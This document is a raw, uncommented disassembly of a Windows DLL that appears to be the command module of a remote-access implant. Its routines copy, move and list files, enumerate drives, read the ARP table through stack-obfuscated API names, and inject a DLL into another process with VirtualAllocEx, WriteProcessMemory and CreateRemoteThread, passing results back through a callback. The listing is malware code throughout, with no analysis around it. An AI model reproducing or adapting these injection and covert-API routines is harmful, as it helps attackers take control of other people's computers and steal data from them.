call fcn.18001423c
lea rcx, [rsp + 0x38]
mov r8d, ebx
mov rdx, rdi
mov r12, rax
call fcn.1800141f4
lea rcx, [rsp + 0x38]
mov r8d, r14d
mov rdx, rsi
call fcn.180014340
lea rdx, [0x18002c7a8]
mov rcx, rsi
call fcn.18001ac0c
mov rdi, rax
lea rcx, [rax - 1]
cmp rcx, 0xfffffffffffffffd
ja 0x18000feec
xor edx, edx
mov rcx, rax
lea r8d, [rdx + 2]
call fcn.18001b304
mov rcx, rdi
call fcn.18001b378
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov r15, rax
call fcn.18001b304
lea rcx, [r15 - 1]
mov eax, 0xfffffffe
cmp rcx, rax
ja 0x18000fecd
xor r9d, r9d
mov r8, r12
mov edx, r14d
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFullPathNameA]
mov r14d, eax
lea ecx, [rax - 1]
cmp ecx, 0x7ff
ja 0x18000fec6
mov ecx, 0x18
call fcn.180019378
mov rcx, qword [0x18003e490]
mov r8d, dword [0x18003e498]
mov qword [rax + 0x10], rcx
mov dword [rax], r8d
inc r8d
lea rcx, [rsp + 0x20]
mov edx, 0x1000
mov rbx, rax
mov qword [rax + 8], rdi
mov dword [rax + 4], r15d
mov qword [0x18003e490], rax
mov dword [0x18003e498], r8d
call fcn.18000cf40
mov edx, dword [rbx]
lea rcx, [rsp + 0x20]
call fcn.18000cf70
lea rcx, [rsp + 0x20]
mov edx, r15d
call fcn.18000cf70
lea rcx, [rsp + 0x20]
mov r8d, r14d
mov rdx, r12
call fcn.18000ceb4
lea rcx, [rsp + 0x20]
call fcn.180014238
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d000
mov r8d, 2
mov rcx, rax
mov edx, ebx
call r13
lea rcx, [rsp + 0x20]
call fcn.18000cf1c
jmp 0x18000fef9
mov ecx, 0x3d
jmp 0x18000fed2
mov ecx, 0x3c
mov rdx, rsi
call fcn.18000d4b0
mov rcx, rbp
call fcn.1800141d0
mov rcx, rdi
call fcn.18001aacc
jmp 0x18000ff01
mov rdx, rsi
mov ecx, 0x28
call fcn.18000d4b0
mov rcx, rbp
call fcn.1800141d0
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov ecx, dword [rcx]
mov rbx, qword [0x18003e490]
call sub.WS2_32.dll_ntohl
mov edi, eax
jmp 0x18000ff51
cmp dword [rbx], edi
jne 0x18000ff4d
mov rcx, qword [rbx + 8]
and dword [rbx + 4], 0
call fcn.18001aacc
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x18000ff3c
mov rbx, qword [rsp + 0x30]
add rsp, 0x20
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rsi, rcx
mov ecx, 0x4000
mov edi, edx
call fcn.180014120
mov edx, 0x2000
mov rcx, rax
mov r14, rax
call fcn.18001423c
mov edx, 0x2000
mov rcx, r14
mov rbp, rax
call fcn.18001423c
lea rcx, [rsp + 0x20]
mov r8d, edi
mov rdx, rsi
mov rbx, rax
call fcn.1800141f4
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbp
call fcn.18001429c
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbx
call fcn.18001429c
xor r8d, r8d
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
jne 0x1800101b6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0xd
mov edx, eax
call fcn.18000d3d4
mov rcx, r14
call fcn.1800141d0
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
push rbx
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.1800141f4
lea rcx, [rsp + 0x20]
mov edx, 0x4000
call fcn.180014388
mov rcx, rax
mov rbx, rax
call fcn.180010738
mov rcx, rbx
test eax, eax
je 0x180010229
lea rdx, [0x180010654]
call fcn.180016d54
mov rcx, rbx
call fcn.18001b7e8
jmp 0x18001022e
call fcn.18001b6c8
mov rcx, rbx
call fcn.180019338
add rsp, 0x40
pop rbx
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rdi, r8
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x38]
call fcn.1800141f4
lea rcx, [rsp + 0x20]
mov edx, 0x80
call fcn.18000cf40
lea rcx, [rsp + 0x38]
call fcn.180014204
lea rcx, [rsp + 0x20]
mov edx, eax
call fcn.18000cf70
call qword [sym.imp.KERNEL32.dll_GetLogicalDrives]
lea rdx, [0x18002c7ac]
lea rcx, [rsp + 0x20]
mov r8d, eax
call fcn.18000cfa0
lea rcx, [rsp + 0x20]
call fcn.180014238
lea rcx, [rsp + 0x20]
mov ebx, eax
call fcn.18000d000
mov r8d, 0x16
mov rcx, rax
mov edx, ebx
call rdi
lea rcx, [rsp + 0x20]
call fcn.18000cf1c
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rdi
ret
mov qword [rsp + 0x20], rbx
push rbp
push rsi
push rdi
push r14
push r15
lea rbp, [rsp - 0x100]
sub rsp, 0x200
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rbp + 0xf0], rax
mov rbx, rcx
mov r15d, 0x4000
mov r14, r8
mov ecx, r15d
mov edi, edx
call fcn.180019378
mov r8d, r15d
xor edx, edx
mov rcx, rax
mov rsi, rax
call fcn.180019620
lea rcx, [rsp + 0x70]
mov r8d, edi
mov rdx, rbx
call fcn.1800141f4
lea rcx, [rsp + 0x70]
call fcn.180014204
lea rcx, [rsp + 0x70]
mov r8d, r15d
mov rdx, rsi
mov ebx, eax
call fcn.18001429c
lea rcx, [rsp + 0x50]
mov edx, 0x200000
call fcn.18000cf40
lea rcx, [rsp + 0x50]
mov edx, ebx
call fcn.18000cf70
lea rdx, [0x18002c7b8]
mov r8d, r15d
mov rcx, rsi
call fcn.18001b720
test eax, eax
jne 0x1800103a3
mov rdx, rsi
mov ecx, r15d
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
lea r8, [0x18002c7bc]
mov r9d, 2
mov edx, r15d
mov rcx, rsi
call fcn.18001ae38
lea rdx, [0x18002c720]
lea rcx, [rsp + 0x50]
mov r8, rsi
call fcn.18000cfa0
lea rdx, [rbp - 0x50]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x180010412
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rbx + 0x35]
mov rdx, rsi
mov r8d, eax
call fcn.18000d4c0
lea rcx, [rsp + 0x50]
call fcn.180014238
lea rcx, [rsp + 0x50]
mov ebx, eax
call fcn.18000d000
mov r8d, 0x16
mov rcx, rax
mov edx, ebx
call r14
mov rcx, rsi
call fcn.180019338
jmp 0x18001051a
mov rcx, rsi
call fcn.180019338
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 0x3c]
call qword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea r8, [rbp - 0x78]
lea rdx, [rbp - 0x68]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
test byte [rbp - 0x50], 0x10
movzx ecx, word [rbp - 0x6e]
movzx edx, word [rbp - 0x70]
lea r11, [rbp - 0x24]
je 0x180010486
movzx eax, word [rbp - 0x6c]
movzx r10d, word [rbp - 0x78]
movzx r9d, word [rbp - 0x72]
movzx r8d, word [rbp - 0x76]
mov qword [rsp + 0x40], r11
mov dword [rsp + 0x38], eax
mov dword [rsp + 0x30], ecx
mov dword [rsp + 0x28], edx
lea rdx, str.D_t0_t_02d__02d__02d__02d:_02d:_02d_t_s_n
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x20], r10d
call fcn.18000cfa0
jmp 0x1800104d8
mov eax, dword [rbp - 0x30]
movzx r8d, word [rbp - 0x78]
movzx r10d, word [rbp - 0x72]
movzx r9d, word [rbp - 0x76]
mov qword [rsp + 0x48], r11
mov dword [rsp + 0x68], eax
mov eax, dword [rbp - 0x34]
mov dword [rsp + 0x6c], eax
movzx eax, word [rbp - 0x6c]
mov dword [rsp + 0x40], eax
mov dword [rsp + 0x38], ecx
mov dword [rsp + 0x30], edx
mov dword [rsp + 0x28], r8d
mov r8, qword [rsp + 0x68]
lea rdx, str.F_t_I64d_t_02d__02d__02d__02d:_02d:_02d_t_s_n
lea rcx, [rsp + 0x50]
mov dword [rsp + 0x20], r10d
call fcn.18000cfa0
lea rdx, [rbp - 0x50]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x18001041a
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FindClose]
lea rcx, [rsp + 0x50]
call fcn.180014238
lea rcx, [rsp + 0x50]
mov ebx, eax
call fcn.18000d000
mov r8d, 0x16
mov rcx, rax
mov edx, ebx
call r14
lea rcx, [rsp + 0x50]
call fcn.18000cf1c
mov rcx, qword [rbp + 0xf0]
xor rcx, rsp
call fcn.18001a200
mov rbx, qword [rsp + 0x248]
add rsp, 0x200
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
push rbx
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.1800141f4
lea rcx, [rsp + 0x20]
mov edx, 0x4000
call fcn.180014388
mov rcx, rax
mov rbx, rax
call fcn.18001b7a0
mov rcx, rbx
call fcn.180019338
add rsp, 0x40
pop rbx
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r14
sub rsp, 0x40
mov rsi, rcx
mov ecx, 0x4000
mov edi, edx
call fcn.180014120
mov edx, 0x2000
mov rcx, rax
mov r14, rax
call fcn.18001423c
mov edx, 0x2000
mov rcx, r14
mov rbp, rax
call fcn.18001423c
lea rcx, [rsp + 0x20]
mov r8d, edi
mov rdx, rsi
mov rbx, rax
call fcn.1800141f4
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbp
call fcn.18001429c
lea rcx, [rsp + 0x20]
mov r8d, 0x2000
mov rdx, rbx
call fcn.18001429c
mov rdx, rbx
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_MoveFileA]
test eax, eax
jne 0x18001062f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0xe
mov edx, eax
call fcn.18000d3d4
mov rcx, r14
call fcn.1800141d0
mov rbx, qword [rsp + 0x50]
mov rbp, qword [rsp + 0x58]
mov rsi, qword [rsp + 0x60]
mov rdi, qword [rsp + 0x68]
add rsp, 0x40
pop r14
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x20], rsi
push rdi
push r14
push r15
sub rsp, 0x60
mov r8d, edx
mov rdx, rcx
lea rcx, [rax - 0x38]
call fcn.1800141f4
lea rcx, [rsp + 0x40]
call fcn.180014204
lea rcx, [rsp + 0x40]
mov esi, eax
call fcn.180014190
lea rcx, [rsp + 0x40]
mov r14, rax
call fcn.180014238
mov r15d, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp eax, esi
jne 0x180010a19
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
jmp 0x180010b25
mov r8d, esi
xor edx, edx
mov ecx, 0x43a
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
jne 0x180010a49
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [rdi + 0x21]
mov edx, esi
mov r8d, eax
call fcn.18000d3e0
jmp 0x180010b25
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call fcn.180016cc0
mov rcx, rdi
mov ebx, eax
call fcn.180016cc0
cmp ebx, eax
je 0x180010a74
mov ecx, 0x3e
call fcn.18000d4a0
jmp 0x180010b1c
mov r9d, 0x3000
mov r8, r15
xor edx, edx
mov rcx, rdi
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rbx, rax
test rax, rax
jne 0x180010aa6
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, r15d
lea ecx, [rbx + 0x1f]
jmp 0x180010b14
lea rax, [rsp + 0x90]
mov r9, r15
mov r8, r14
mov rdx, rbx
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x180010add
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x10
mov edx, eax
call fcn.18000d3d4
jmp 0x180010b1c
and qword [rsp + 0x30], 0
mov r9, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
and dword [rsp + 0x28], 0
xor r8d, r8d
xor edx, edx
mov rcx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x180010b1c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, esi
mov ecx, 0x20
mov r8d, eax
call fcn.18000d3e0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r11, [rsp + 0x60]
mov rbx, qword [r11 + 0x20]
mov rbp, qword [r11 + 0x28]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
mov rbp, rsp
sub rsp, 0x80
xor eax, eax
mov edi, ecx
lea rcx, [rbp - 0x18]
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rax
call fcn.1800141f4
lea rcx, [rbp - 0x18]
call fcn.180014204
lea rcx, [rbp - 0x18]
mov edx, eax
mov r15d, eax
call fcn.18001423c
lea rcx, [rbp - 0x18]
mov qword [rbp + 0x48], rax
call fcn.180014204
lea rcx, [rbp - 0x18]
mov edx, eax
mov r14d, eax
call fcn.18001423c
mov ecx, 0x400
mov r13, rax
call fcn.180014120
mov edx, 0x100
mov rcx, rax
mov rsi, rax
call fcn.18001423c
mov edx, 0x200
mov rcx, rsi
mov rbx, rax
call fcn.18001423c
mov rdx, rbx
mov ecx, edi
mov r12, rax
call fcn.180018508
mov r8d, 0x100
mov rdx, r12
mov rcx, rbx
call fcn.18000ed44
xor ebx, ebx
test eax, eax
je 0x180010c5a
mov rcx, qword [rbp + 0x48]
lea rax, [rbp - 0x30]
lea r9d, [rbx + 0x10]
lea r8, [rbp - 0x40]
mov edx, r15d
mov qword [rbp - 0x38], rax
mov qword [rbp - 0x40], r12
call fcn.18001245c
test eax, eax
je 0x180010c5a
lea ecx, [rbx + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, dword [rbp - 0x20]
mov rdx, qword [rbp - 0x30]
mov dword [rsp + 0x38], ebx
mov qword [rsp + 0x30], rbx
lea rcx, [rbp - 0x30]
mov r9, r13
mov dword [rsp + 0x28], ebx
mov dword [rsp + 0x20], r14d
call fcn.1800116a8
lea rcx, [rbp - 0x30]
call fcn.1800129ec
mov rcx, rsi
call fcn.1800141d0
lea r11, [rsp + 0x80]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x18], rbp
mov qword [rax + 0x20], rsi
push rdi
sub rsp, 0x20
mov rdi, rcx
movzx ecx, word [rcx]
mov esi, r9d
mov rbp, r8
mov ebx, edx
mov word [rax + 0x10], cx
call sub.WS2_32.dll_ntohs
lea edx, [rbx - 2]
lea rcx, [rdi + 2]
mov r8d, esi
mov word [rsp + 0x38], ax
call fcn.180010d80
movzx ecx, word [rsp + 0x38]
call sub.WS2_32.dll_htons
mov edx, 2
lea rcx, [rsp + 0x38]
lea r8d, [rdx + 5]
mov word [rsp + 0x38], ax
call rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x90
mov rdi, rcx
mov esi, 0x40
mov r15d, r9d
mov ecx, esi
mov r12d, r8d
mov ebx, edx
call fcn.180014120
mov edx, esi
mov rcx, rax
mov rbp, rax
call fcn.18001423c
lea rcx, [rsp + 0x70]
mov r8d, ebx
mov rdx, rdi
mov r14, rax
call fcn.1800141f4
lea rcx, [rsp + 0x70]
call fcn.180014264
lea rcx, [rsp + 0x70]
movzx r13d, ax
call fcn.180014264
lea rcx, [rsp + 0x70]
movzx eax, ax
mov dword [rsp + 0x68], eax
call fcn.180014204
lea rcx, [rsp + 0x70]
mov r8d, esi
mov rdx, r14
mov dword [rsp + 0x64], eax
call fcn.18001429c
lea rcx, [rsp + 0x70]
mov dword [rsp + 0x60], eax
call fcn.180014204
xor esi, esi
mov edi, eax
test eax, eax
je 0x180011014
lea rcx, [rsp + 0x70]
mov edx, eax
call fcn.18001423c
mov rsi, rax
lea rcx, [rsp + 0x70]
call fcn.180014190
lea rcx, [rsp + 0x70]
mov rbx, rax
call fcn.180014238
mov ecx, dword [rsp + 0x60]
mov r8d, dword [rsp + 0x64]
mov edx, dword [rsp + 0x68]
mov dword [rsp + 0x50], r15d
mov dword [rsp + 0x48], r12d
mov dword [rsp + 0x40], ecx
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], edi
mov r9, rbx
mov ecx, r13d
mov qword [rsp + 0x28], rsi
mov dword [rsp + 0x20], eax
call fcn.18001108c
mov rcx, rbp
call fcn.1800141d0
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x70
mov rdi, rcx
mov ecx, 0xc00
mov r12d, r8d
mov ebx, edx
call fcn.180014120
mov r13d, 0x400
mov rcx, rax
mov edx, r13d
mov r14, rax
call fcn.18001423c
mov edx, r13d
mov rcx, r14
mov r15, rax
call fcn.18001423c
mov edx, r13d
mov rcx, r14
mov rsi, rax
call fcn.18001423c
lea rcx, [rsp + 0x40]
mov r8d, ebx
mov rdx, rdi
mov rbp, rax
call fcn.1800141f4
lea rcx, [rsp + 0x40]
mov r8d, r13d
mov rdx, r15
call fcn.18001429c
xor edi, edi
test eax, eax
je 0x180011323
lea rcx, [rsp + 0x40]
mov r8d, r13d
mov rdx, rsi
call fcn.18001429c
test eax, eax
je 0x180011323
lea rcx, [rsp + 0x40]
mov r8d, r13d
mov rdx, rbp
call fcn.18001429c
test eax, eax
je 0x180011323
lea rax, [rsp + 0x58]
mov r9, rbp
mov r8, rsi
mov rdx, r15
mov ecx, r12d
mov qword [rsp + 0x20], rax
call fcn.180018404
test eax, eax
je 0x180011311
lea ecx, [rdi + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
call fcn.180014238
lea rcx, [rsp + 0x40]
mov ebx, eax
call fcn.180014190
mov r8d, dword [rsp + 0x68]
mov rdx, qword [rsp + 0x58]
mov dword [rsp + 0x38], edi
mov qword [rsp + 0x30], rdi
lea rcx, [rsp + 0x58]
mov r9, rax
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], ebx
call fcn.1800116a8
mov rcx, r14
call fcn.1800141d0
lea rcx, [rsp + 0x58]
call fcn.1800129ec
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xe0
mov edi, r8d
mov r8d, edx
mov rdx, rcx
lea rcx, [rbp - 0x41]
call fcn.1800141f4
lea rcx, [rbp - 0x41]
call fcn.180014204
lea rcx, [rbp - 0x41]
mov ebx, eax
call fcn.180014190
lea rcx, [rbp - 0x41]
mov rsi, rax
call fcn.180014238
mov r15d, 0x68
lea rcx, [rbp - 0x29]
xor edx, edx
mov r8d, r15d
mov r14d, eax
call fcn.180019620
xor eax, eax
lea rcx, [rbp - 0x29]
mov dword [rbp - 0x29], r15d
mov qword [rbp - 0x59], rax
mov qword [rbp - 0x51], rax
mov qword [rbp - 0x49], rax
call qword [sym.imp.KERNEL32.dll_GetStartupInfoA]
xor r15d, r15d
lea r9, [rbp - 0x59]
lea r8, [rbp - 0x29]
lea edx, [r15 + 1]
mov ecx, edi
mov dword [rbp + 0x13], 0x101
mov word [rbp + 0x17], r15w
mov qword [rbp + 0x2f], r15
mov qword [rbp + 0x37], r15
mov qword [rbp + 0x27], r15
mov dword [rsp + 0x20], ebx
call fcn.180018484
test eax, eax
je 0x180011439
lea ecx, [r15 + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r8d, dword [rbp - 0x49]
mov rdx, qword [rbp - 0x59]
mov dword [rsp + 0x38], r15d
mov qword [rsp + 0x30], r15
lea rcx, [rbp - 0x59]
mov r9, rsi
mov dword [rsp + 0x28], r15d
mov dword [rsp + 0x20], r14d
call fcn.1800116a8
lea rcx, [rbp - 0x59]
call fcn.1800129ec
lea r11, [rsp + 0xe0]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x40
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.1800141f4
lea rcx, [rsp + 0x20]
call fcn.180014204
lea rcx, [rsp + 0x20]
mov edx, eax
mov esi, eax
call fcn.18001423c
lea rcx, [rsp + 0x20]
mov rdi, rax
call fcn.180014190
lea rcx, [rsp + 0x20]
mov rbx, rax
call fcn.180014238
mov r9d, esi
mov r8, rdi
mov rcx, rbx
mov edx, eax
call fcn.18001245c
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
add rsp, 0x40
pop rdi
ret
push rbp
push rbx
push rsi
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x300]
sub rsp, 0x400
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rbp + 0x2f0], rax
mov rax, qword [0x18003c028]
mov r12, r8
mov edi, edx
mov rbx, rcx
mov dword [rsp + 0x20], 0x318
mov dword [rbp + 0x2c0], 0x4c485049
mov dword [rbp + 0x2c4], 0x49504150
mov byte [rbp + 0x2c8], 0
mov dword [rbp + 0x2d0], 0x49746547
mov dword [rbp + 0x2d4], 0x746e4566
mov word [rbp + 0x2d8], 0x7972
mov byte [rbp + 0x2da], 0
mov dword [rbp + 0x2e0], 0x49746547
mov dword [rbp + 0x2e4], 0x64644170
mov dword [rbp + 0x2e8], 0x62615472
mov word [rbp + 0x2ec], 0x656c
mov byte [rbp + 0x2ee], 0
cmp rax, 0xffffffffffffffff
jne 0x180012745
lea rcx, [rbp + 0x2c0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov qword [0x18003c028], rax
lea rdx, [rbp + 0x2d0]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, qword [0x18003c028]
lea rdx, [rbp + 0x2e0]
mov r15, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test r15, r15
je 0x180012906
test rax, rax
je 0x180012906
lea rcx, [rsp + 0x40]
mov r8d, edi
mov rdx, rbx
call fcn.1800141f4
lea rcx, [rsp + 0x40]
call fcn.180014204
lea rcx, [rsp + 0x28]
mov edx, 0x8000
mov ebx, eax
call fcn.18000cf40
lea rcx, [rsp + 0x28]
mov edx, ebx
call fcn.18000cf70
mov ecx, dword [rsp + 0x20]
call fcn.180019378
mov rdi, rax
test rax, rax
je 0x1800128fc
lea rdx, [rsp + 0x20]
mov r8d, 1
mov rcx, rax
call rsi
test eax, eax
jne 0x1800128fc
xor esi, esi
cmp dword [rdi], esi
jbe 0x1800128d0
lea rbx, [rsi + rsi*2]
lea rcx, [rsp + 0x60]
mov eax, dword [rdi + rbx*8 + 8]
mov dword [rbp + 0x160], eax
call r15
test eax, eax
jne 0x1800128c6
cmp dword [rbp + 0x170], eax
jbe 0x1800128c6
mov ecx, dword [rdi + rbx*8 + 4]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rdx, [0x18002c8b4]
lea rcx, [rsp + 0x28]
mov r8, rax
call fcn.18000cfa0
mov ecx, dword [rdi + rbx*8 + 0xc]
call qword [sym.imp.WS2_32.dll_inet_ntoa]
lea rdx, [0x18002c8b4]
lea rcx, [rsp + 0x28]
mov r8, rax
call fcn.18000cfa0
mov r8d, dword [rbp + 0x168]
lea rdx, str._ld_t
lea rcx, [rsp + 0x28]
call fcn.18000cfa0
mov eax, dword [rbp + 0x170]
xor r14d, r14d
test eax, eax
je 0x1800128b5
lea rbx, [rbp + 0x174]
movzx r8d, byte [rbx]
dec eax
lea rcx, [rsp + 0x28]
lea rdx, str._.2X
cmp r14d, eax
je 0x18001289f
lea rdx, str._.2X:
call fcn.18000cfa0
mov eax, dword [rbp + 0x170]
inc r14d
inc rbx
cmp r14d, eax
jb 0x180012881
lea rdx, [0x18002c8d0]
lea rcx, [rsp + 0x28]
call fcn.18000cfa0
inc esi
cmp esi, dword [rdi]
jb 0x1800127ef
lea rcx, [rsp + 0x28]
call fcn.180014238
lea rcx, [rsp + 0x28]
mov ebx, eax
call fcn.18000d000
mov r8d, 0x16
mov rcx, rax
mov edx, ebx
call r12
mov rcx, rdi
call fcn.180019338
lea rcx, [rsp + 0x28]
call fcn.18000cf1c
mov rcx, qword [rbp + 0x2f0]
xor rcx, rsp
call fcn.18001a200
add rsp, 0x400
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
push rbx
sub rsp, 0x40
mov rbx, qword [0x18003e4b8]
mov r8d, edx
mov rdx, rcx
lea rcx, [rsp + 0x20]
call fcn.1800141f4
lea rcx, [rsp + 0x20]
call fcn.180014264
movzx eax, ax
jmp 0x180012a61
cmp dword [rbx], eax
jne 0x180012a5d
mov ecx, 1
mov word [rbx + 0x3a], cx
mov rbx, qword [rbx + 0x30]
test rbx, rbx
jne 0x180012a50
call fcn.180012f58
add rsp, 0x40
pop rbx
ret
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xd0
mov rax, qword [0x18003d030]
xor rax, rsp
mov qword [rbp + 0x27], rax
mov rbx, rcx
mov r14d, r8d
mov edi, edx
mov esi, 0x3f
lea rcx, [rbp - 0x58]
xor edx, edx
mov r8d, esi
mov byte [rbp - 0x59], 0
call fcn.180019620
lea rcx, [rbp - 0x18]
mov r8d, esi
xor edx, edx
mov byte [rbp - 0x19], 0
call fcn.180019620
lea rcx, [rbp - 0x71]
mov r8d, edi
mov rdx, rbx
call fcn.1800141f4
lea rcx, [rbp - 0x71]
call fcn.180014204
lea rcx, [rbp - 0x71]
mov r15d, eax
call fcn.180014264
lea rcx, [rbp - 0x71]
movzx r12d, ax
call fcn.180014264
mov ebx, 0x40
lea rdx, [rbp - 0x59]
lea rcx, [rbp - 0x71]
mov r8d, ebx
movzx esi, ax
call fcn.18001429c
test eax, eax
je 0x180012b9b
lea rdx, [rbp - 0x19]
lea rcx, [rbp - 0x71]
mov r8d, ebx
call fcn.18001429c
test eax, eax
je 0x180012b9b
neg r14d
sbb edi, edi
and edi, 0x20000
xor ebx, ebx
lea rdx, [rbp - 0x79]
lea rcx, [rbp - 0x59]
mov r8d, edi
call fcn.180012c50
test eax, eax
jne 0x180012b79
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
inc ebx
cmp ebx, 0x14
jl 0x180012b3f
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, 0x14
mov edx, eax
call fcn.18000d3d4
jmp 0x180012b9b
test esi, esi
je 0x180012b88
mov rcx, qword [rbp - 0x79]
mov edx, esi
call fcn.180012d70
mov rcx, qword [rbp - 0x79]
lea r9, [rbp - 0x19]
mov r8d, r12d
mov edx, r15d
call fcn.180012cec
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.18001a200
lea r11, [rsp + 0xd0]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x50
mov rbx, qword [0x18003e4b8]
mov rdi, rcx
lea rcx, [rsp + 0x30]
